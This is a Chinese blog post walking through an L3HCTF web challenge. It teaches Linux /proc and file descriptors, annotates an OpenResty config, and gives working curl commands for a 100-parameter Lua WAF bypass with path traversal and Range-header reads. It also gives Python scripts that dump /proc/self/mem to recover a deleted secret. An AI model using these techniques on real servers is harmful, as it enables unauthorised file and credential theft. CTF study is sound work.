Gentle_knife's Studio.

L3NCTF-Web题目部分复现

Word count: 5kReading time: 22 min
2025/07/18
loading

声明:本博客为了梳理思路所整理。

gateway_advance

相关知识

lua 是什么?

Lua 是一种非常轻量、简单、快速的编程语言。 它的特点是语法非常简洁;适合嵌入到别的系统里,比如游戏引擎、服务器。

我们常用的 Nginx 就支持 Lua 来写脚本,这种模块叫 OpenResty(或 lua-nginx-module),很遗憾,这么写笔者记不住……我们简单的把 Nginx+Lua=OpenResty。只不过这里的加不是简单的集合,而是让 Nginx 变得更聪明,让 Lua 进行辅助。

进程(process)

A process is an instance of a computer program in execution.

就是说,一个进程就是“正在执行中的程序”。

  • 你写的 .py.exe 是程序(program)
  • 当你运行它之后,就变成了进程(process)

我们写的代码是程序,运行中的程序是进程

进程编号 PID (Process ID)

PID 是 Process ID(进程编号)的缩写,是操作系统给每一个“正在运行的进程”分配的一个唯一数字标识符

你可以在 Linux 中运行:

1
ps aux

来查看当前系统中所有运行中的进程和它们的 PID。

PID 是内核用来管理进程的核心方式。

  • 杀掉一个进程:
1
kill 12345  # 杀掉 PID 为 12345 的进程
  • 查某个程序是否还活着:
1
ps -p 12345
  • 查看某个程序的文件描述符:
1
ls /proc/12345/fd/

/proc

Linux 中的 /proc 目录是一个虚拟文件系统,里面每个子目录其实就是一个 PID。

例如:

1
ls /proc/

你会看到:

1
2
3
4
1/
2/
3/
12345/

这些都是进程编号,进入里面可以看到这个进程打开了哪些文件、用的哪个命令启动的等等。

文件描述符 fd(File Descriptor)

fdFile Descriptor 的缩写,意思是「文件描述符」。

一个文件本身不会有 fd,但是打开这个文件的进程会有,进程会用 fd 来表示“我打开了这个文件”。Linux 会给你打开的每一个东西,分配一个数字编号,叫“文件描述符”。

Linux 系统中,一切资源都被抽象为“文件”,所以:

  • 文件 → 有 fd
  • socket → 有 fd
  • 管道 → 有 fd
  • 设备 /dev/null → 也有 fd

文件描述符编号是啥?

FD 编号 含义
0 标准输入(stdin)
1 标准输出(stdout)
2 标准错误(stderr)
3 以后的 是你代码或程序里通过 open()socket() 等打开的额外文件或资源

假设你在终端输入:

1
cat flag.txt

这个时候:

Linux 会创建一个新的进程来运行 cat,这个程序会打开 flag.txt,内核会给这个文件分配一个 fd,比如是 3。然后你可以在 /proc/[cat的pid]/fd/3 里看到它。我们可以这么理解: fd 是文件的“编号”,程序要访问文件不是通过路径,而是通过这个编号访问。

在 Linux 里你看到的 /proc/1/fd/ 是一个“文件夹”,但它是虚拟的文件夹,不是存在硬盘上的,而是 由内核动态生成的

它的作用是:显示某个进程当前打开的所有“文件描述符(fd)”

来看个例子:

1
ls -l /proc/1/fd/

可能输出:

1
2
3
4
5
6
0 -> /dev/null
1 -> /dev/null
2 -> /dev/null
3 -> /app/log.txt
6 -> /secret/password.txt (deleted)
0 -> /dev/null

文件描述符 0 是标准输入。这里它指向 /dev/null,表示:这个进程的输入被重定向到了「黑洞」,永远读取不到任何内容。

/dev/null 是 Linux 中的「黑洞」文件,读取它得不到东西,写进去的东西会被丢弃。


1
1 -> /var/log/mylog.txt

文件描述符 1 是标准输出。它被重定向到了日志文件 /var/log/mylog.txt。所以这个进程的「正常输出信息」会写入这个日志文件,而不是在屏幕上显示。


1
2 -> /dev/null

文件描述符 2 是标准错误输出(stderr)。也被重定向到了 /dev/null,表示错误信息直接丢掉了,不显示也不保存。


1
3 -> socket:[12345]

文件描述符 3 是一个 socket(套接字)连接。socket:[12345] 表示这是一个网络连接或 IPC 连接,编号为 12345。

它不是普通文件,而是网络资源,比如某个 TCP 连接。这个数字是内核中的 socket id。

你可以通过:

1
ls -l /proc/[pid]/fd/3

或者:

1
cat /proc/[pid]/net/tcp

去进一步查它连接的是谁(比如 IP 和端口)。


1
4 -> /tmp/password (deleted)

文件描述符 4 打开了 /tmp/password 文件。但后面写了 (deleted),表示:文件已经从文件系统中被删除,但是这个进程还在用它。

为什么还能用?因为:Linux 删除文件只是删除了目录项(名字),而不是文件本体(inode)。只要还有人用着,文件还在内存里。

我们可以通过:

1
cat /proc/[pid]/fd/4

仍然能读出内容,甚至可以把它拷贝出来:

1
cp /proc/[pid]/fd/4 /tmp/recovered_password

这就是恢复“被删文件”的常用办法。

为什么已经删除了,我还可以通过 fd 看到它的内容?

Linux 的文件删除机制是这样的:

  1. 当你用 rm file.txt 删除一个文件时,Linux 并不会马上“彻底删除”它。
  2. 它会先把 目录项 删除,但只要有程序正在用这个文件(打开着它),这个文件的“真实内容”还保留在磁盘和内存中。
  3. 所以,只要有程序还在用这个文件,就可以继续通过文件描述符访问它!
怎么分清 fd 和 pid?

进程对应的是pid,资源对应的是fd。

/proc/self

/proc/self 是一个特殊的“动态符号链接”,永远代表“当前进程的 /proc/[pid]”

比如你在某个 shell 或 Python 程序里访问 /proc/self/fd,就是在访问你这个进程的文件描述符表。

如果当前进程 pid 是 12345,那么/proc/self/fd == /proc/12345/fd

句柄(handle)

1
A **handle** is a reference to a resource used by a process.

这个词理解起来有点困难,可以理解为 handle 就是被包装过的引用, 为了安全和抽象”,而返回给你的“间接引用“。在 Linux 里面我们不能直接对文件动手,只能以简洁的,也就是 handle 去进行改变。

符号链接(symlink)

symlink符号链接(symbolic link),也叫 软链接,它是 Linux 文件系统中的一种指针型文件,作用相当于“快捷方式”。它本身是一个普通文件,内容是“它指向了哪里”。

/proc/self/fd/6这个文件名就是一个符号链接。

1
/home/d/shortcut` 如果是一个 symlink,它可能指向 `/etc/passwd

看看源码

2025 L3HCTF SU WriteUp

img

点开题目,只有一个 hello,world!

那么,读读源码?

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
FROM openresty/openresty:alpine
# 这是基础镜像,使用了官方的 OpenResty (一个基于 Nginx 的高性能 Web 平台)轻量级 Alpine Linux 版本。

COPY ./nginx.conf /usr/local/openresty/nginx/conf/nginx.conf
# 把本地当前目录下的 nginx.conf 文件复制到容器中的 OpenResty 配置目录,替换默认的 Nginx 配置。

COPY ./www /www
# 把本地的 www 文件夹(通常是网站静态资源或项目文件)复制到容器的根目录 /www。

RUN echo "L3HCTF{test_flag}" > /flag
RUN echo "test_password" > /password
# 在镜像构建时,创建两个文件:
# /flag 文件,内容是 "L3HCTF{test_flag}" (通常是CTF比赛里的flag)
# /password 文件,内容是 "test_password"

EXPOSE 80
# 声明容器对外开放80端口(HTTP默认端口)。

CMD ["sh", "-c", "openresty -g 'daemon off;'"]
# 容器启动时执行的命令,这条命令启动 OpenResty,并让它以前台模式运行(daemon off;),这样 Docker 容器不会因为进程退出而停止。
worker_processes 1;
# 启动一个工作进程

events {
use epoll;
worker_connections 10240;
}
# 配置事件模型,这里用 Linux 下高效的 epoll,最大连接数10240


http {
include mime.types;
default_type text/html;
# 载入 MIME 类型文件,默认响应类型是 text/html


access_log off;
error_log /dev/null;
# 关闭访问日志,错误日志丢弃(输出到/dev/null,即不保存)
sendfile on;
# 开启高效文件传输 sendfile

init_by_lua_block {
f = io.open("/flag", "r")
f2 = io.open("/password", "r")
flag = f:read("*all")
password = f2:read("*all")
# 在 Nginx 启动时运行:打开 /flag 和 /password 文件,把内容读到变量 flag 和 password 中
f:close()
# 关闭文件
password = string.gsub(password, "[\n\r]", "")
# 清理 password 字符串中多余的换行符
os.remove("/flag")
os.remove("/password")
# 删除这两个文件(防止后续被直接访问,提升安全性)
}

server {
listen 80 default_server;
# server 配置块,监听 80 端口
location / {
content_by_lua_block {
ngx.say("hello, world!")
}
}
# 访问根目录,直接输出 hello, world!

location /static {
alias /www/;
access_by_lua_block {
if ngx.var.remote_addr ~= "127.0.0.1" then
ngx.exit(403)
end
}
add_header Accept-Ranges bytes;
}
# 把请求 /static 映射到 /www/ 目录(之前 Dockerfile 里COPY进去的网站文件)

# 访问控制:只有请求来自 127.0.0.1 (本机) 才允许访问,其他都返回 403 禁止

# 支持断点续传(Accept-Ranges)

location /download {
access_by_lua_block {
local blacklist = {"%.", "/", ";", "flag", "proc"}
local args = ngx.req.get_uri_args()
for k, v in pairs(args) do
for _, b in ipairs(blacklist) do
if string.find(v, b) then
ngx.exit(403)
end
end
end
}
add_header Content-Disposition "attachment; filename=download.txt";
proxy_pass http://127.0.0.1/static$arg_filename;
body_filter_by_lua_block {
local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"}
for _, b in ipairs(blacklist) do
if string.find(ngx.arg[1], b) then
ngx.arg[1] = string.rep("*", string.len(ngx.arg[1]))
end
end
}
}
# 下载功能,带黑名单过滤和内容屏蔽
# 访问控制(access_by_lua_block):

# 读取请求参数,检查参数值中是否包含黑名单字符串(点、斜杠、分号、flag、proc等)

# 如果检测到,则拒绝访问(403)

# Content-Disposition 设置让浏览器弹出“下载”对话框,文件名为 download.txt

# 使用反向代理请求 /static 路径,传入参数 filename 作为静态文件路径

# 响应内容通过 body_filter_by_lua_block 过滤:

# 如果响应内容包含黑名单字符串(flag、password、secret等),就用星号替换整段内容(屏蔽敏感信息)

location /read_anywhere {
access_by_lua_block {
if ngx.var.http_x_gateway_password ~= password then
ngx.say("go find the password first!")
ngx.exit(403)
end
}
content_by_lua_block {
local f = io.open(ngx.var.http_x_gateway_filename, "r")
if not f then
ngx.exit(404)
end
local start = tonumber(ngx.var.http_x_gateway_start) or 0
local length = tonumber(ngx.var.http_x_gateway_length) or 1024
if length > 1024 * 1024 then
length = 1024 * 1024
end
f:seek("set", start)
local content = f:read(length)
f:close()
ngx.say(content)
ngx.header["Content-Type"] = "application/octet-stream"
}
}
}
}
# 访问前先检查 HTTP 请求头 X-Gateway-Password 是否等于 password 变量(初始化时从文件里读取的密码)

#如果密码错误,返回提示并拒绝访问

# 读取文件指定范围内容,返回给客户端,内容类型是二进制流(octet-stream)

如同它的名字一样,我们可以看到/read_anywhere想读哪里就读哪里,但使用它需要密码。所以我们要到哪里去找密码?

突破 waf

我们来看/download 的这一句:

1
proxy_pass http://127.0.0.1/static$arg_filename;

它的作用是把用户的请求转发给本地服务器的/static/xxx 路径,如果你访问了/download?filename=/etc/passwd最终就会被转发成:

1
http://127.0.0.1/static/etc/passwd

也就是说,这个/download 路径其实是对/static 路径的“代理”。但是由于下面的黑名单,我们无法直接下载 /flag, proc/self/environ,也无法进行路径穿越

1
local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"}

我们要突破 nginx lua waf,下载到密码。

nginx lua waf bypass

【技术分享】Nginx Lua WAF通用绕过方法 - SecPulse.COM | 安全脉搏

Nginx Lua WAF通用绕过方法-安全KER - 安全资讯平台

Nginx Lua获取参数时,默认获取前100个参数值,其余的将被丢弃。

那么我们这里应该发 get 还是 post 参数,或者是 headers?

ngx.req.get_uri_args()

这是 Nginx 的 Lua 扩展提供的函数, 只能在 Nginx 的 Lua 环境 下用。

每个词是什么意思?

1
ngx.req.get_uri_args()
部分 含义
ngx Nginx 给 Lua 提供的一个“总对象”,代表当前请求的上下文
ngx.req 请求(request)相关的操作集合,比如请求参数、请求体等
ngx.req.get_uri_args() 一个函数,用来获取 URI(URL)中的参数

举个例子:

你请求这个网址:

1
http://example.com/download?filename=test.txt&user=admin

问号 ? 后面是参数:filename=test.txtuser=admin

这时候,你用这段 Lua:

1
local args = ngx.req.get_uri_args()

就能拿到一个表(table):

1
2
3
4
args = {
filename = "test.txt",
user = "admin"
}

你就可以这样用它:

1
ngx.say(args["filename"])  -- 打印:test.txt

既然这个函数只能用来获取 URL 里的参数,所以我们这里只能发 get 请求。

由上面的链接可以知道,Nginx Lua Waf,默认只读取前 100 个参数。 如果传了超过 100 个参数,那么 第 101 个之后的参数会被“吃掉”,WAF 根本看不见。

由此我们这里就可以发 101 个参数,在最后一个参数写 filename=[ 我们想要读取的服务器上的文件 ]

但是我们要去哪里读密码呢?毕竟:

1
2
os.remove("/flag")
os.remove("/password")

这两个文件已经被删掉了啊。

但是有可能还有某个进程在用/password 这个资源,所以我们访问/proc/self/fd/?,也许就可以找到。

1
curl"http://43.138.2.216:17794/download?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&filename=%2e%2e%2f%2fproc%2fself%2ffd%2f6"

img

我们在 fd6 找到了,但是因为这个过滤的关系:

1
local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"}

password 无法显示。

所以我们可以使用 HTTP 的 Range 头,向服务器请求 某个资源的一部分内容,而不是整个资源。

1
curl -H "Range: bytes=0-6" "http://43.138.2.216:17794/download?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&filename=%2e%2e%2f%2fproc%2fself%2ffd%2f6"

这样逐步搞出密码

1
passwordismemeispasswordsoneverwannagiveyouup

读出 flag(maps 和 mem)

接下去我们先读 /proc/self/maps,再盯着被删掉的那一部分往下读。

/proc/self/maps 是当前进程(self)内存空间的结构图,列出了哪些地址段被加载了什么(比如代码、库、堆、栈、文件等)。/proc是 Linux 的一个虚拟文件系统,叫 procfs,专门用来提供运行中进程的信息。self 是个特殊的快捷方式,指代 “当前访问这个文件的进程自身”。maps是当前进程的“内存映射信息”,也可以理解为“你当前这个程序的内存布局”。

这个时候我们让 AI 写个脚本读 maps:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://43.138.2.216:17794/read_anywhere"
password = "passwordismemeispasswordsoneverwannagiveyouup"

def read_maps():
headers = {
"X-Gateway-Password": password,
"X-Gateway-Filename": "/proc/self/maps",
"X-Gateway-Start": "0",
"X-Gateway-Length": str(0x10000), # 一般够用,最多64KB
}
r = requests.get(url, headers=headers)
r.raise_for_status()
return r.text

def main():
print("[*] 正在远程读取 /proc/self/maps...\n")
maps = read_maps()
print(maps)

if __name__ == "__main__":
main()

配置文件里 并没有显式写出什么叫 “X-Gateway-Filename” 等请求头,为什么我们要用这个名字?

其实它是通过 Lua 代码里的变量名隐式规定的,OpenResty 提供的 ngx.var.http_XXX用来获取 HTTP 请求头部中 **XXX** 字段的内容

1
ngx.var.http_` + 请求头字段名的小写 + 替换掉 `-` 为 `_

举个例子:

请求头 在 Lua 中怎么获取 说明
X-Gateway-Filename ngx.var.http_x_gateway_filename 请求头字段会自动映射为 nginx 变量名
X-Gateway-Password ngx.var.http_x_gateway_password 同上
X-Gateway-Start ngx.var.http_x_gateway_start 用于偏移读取
X-Gateway-Length ngx.var.http_x_gateway_length 用于限制读取长度

/read_anywhere

1
2
3
4
5
6
7
8
9
10
11
12
13
access_by_lua_block {
if ngx.var.http_x_gateway_password ~= password then
ngx.say("go find the password first!")
ngx.exit(403)
end
}
content_by_lua_block {
local f = io.open(ngx.var.http_x_gateway_filename, "r")
...
local start = tonumber(ngx.var.http_x_gateway_start) or 0
local length = tonumber(ngx.var.http_x_gateway_length) or 1024
...
}

从这段你能看到:

  • ngx.var.http_x_gateway_password → 就是你请求头中的 X-Gateway-Password
  • ngx.var.http_x_gateway_filename → 就是你请求头中的 X-Gateway-Filename
  • ngx.var.http_x_gateway_startlength 也是同理

这些名字没有被写死在配置里,而是通过 Lua 代码访问 ngx.var.http_... 约定得来的。

虽然配置文件没明说“你必须用这些请求头”,但因为代码里用了 ngx.var.http_x_gateway_...,你必须传入这些名字的请求头,它们才有值,功能才会工作。

结果出来,读这个唯一 deleted 的。

img

再写个脚本读取 mem

/proc/self/mem 是 Linux 提供的一个接口,允许你直接读取或写入当前进程的任意内存地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

url = "http://43.138.2.216:17794/read_anywhere"
password = "passwordismemeispasswordsoneverwannagiveyouup"

start = 0x720c04746000 # 这里改地址

length = 2000000 # 这里写长一点

def read_mem_chunk(start, length):
headers = {
"X-Gateway-Password": password,
"X-Gateway-Filename": "/proc/self/mem",
"X-Gateway-Start": str(start),
"X-Gateway-Length": str(length),
}
r = requests.get(url, headers=headers)
r.raise_for_status()
return r.content

def main():

try:
data = read_mem_chunk(start, length)
print(f"读取成功,前64字节(hex):{data[:64].hex()}")
print(f"读取成功,前64字节(ascii):{''.join(chr(b) if 32 <= b < 127 else '.' for b in data[:64])}")

# 保存到文件
with open("memory_dump.bin", "wb") as f:
f.write(data)
print("[*] 已保存到 memory_dump.bin")
except Exception as e:
print(f"读取失败: {e}")

if __name__ == "__main__":
main()

img

CATALOG
  1. 1. gateway_advance
    1. 1.1. 相关知识
      1. 1.1.1. lua 是什么?
      2. 1.1.2. 进程,pid, /proc,句柄,fd,symlink
        1. 1.1.2.1. 进程(process)
        2. 1.1.2.2. 进程编号 PID (Process ID)
        3. 1.1.2.3. /proc
        4. 1.1.2.4. 文件描述符 fd(File Descriptor)
          1. 1.1.2.4.1. 为什么已经删除了,我还可以通过 fd 看到它的内容?
          2. 1.1.2.4.2. 怎么分清 fd 和 pid?
        5. 1.1.2.5. /proc/self
        6. 1.1.2.6. 句柄(handle)
        7. 1.1.2.7. 符号链接(symlink)
    2. 1.2. 看看源码
    3. 1.3. 突破 waf
      1. 1.3.1. nginx lua waf bypass
        1. 1.3.1.1. ngx.req.get_uri_args()
    4. 1.4. 读出 flag(maps 和 mem)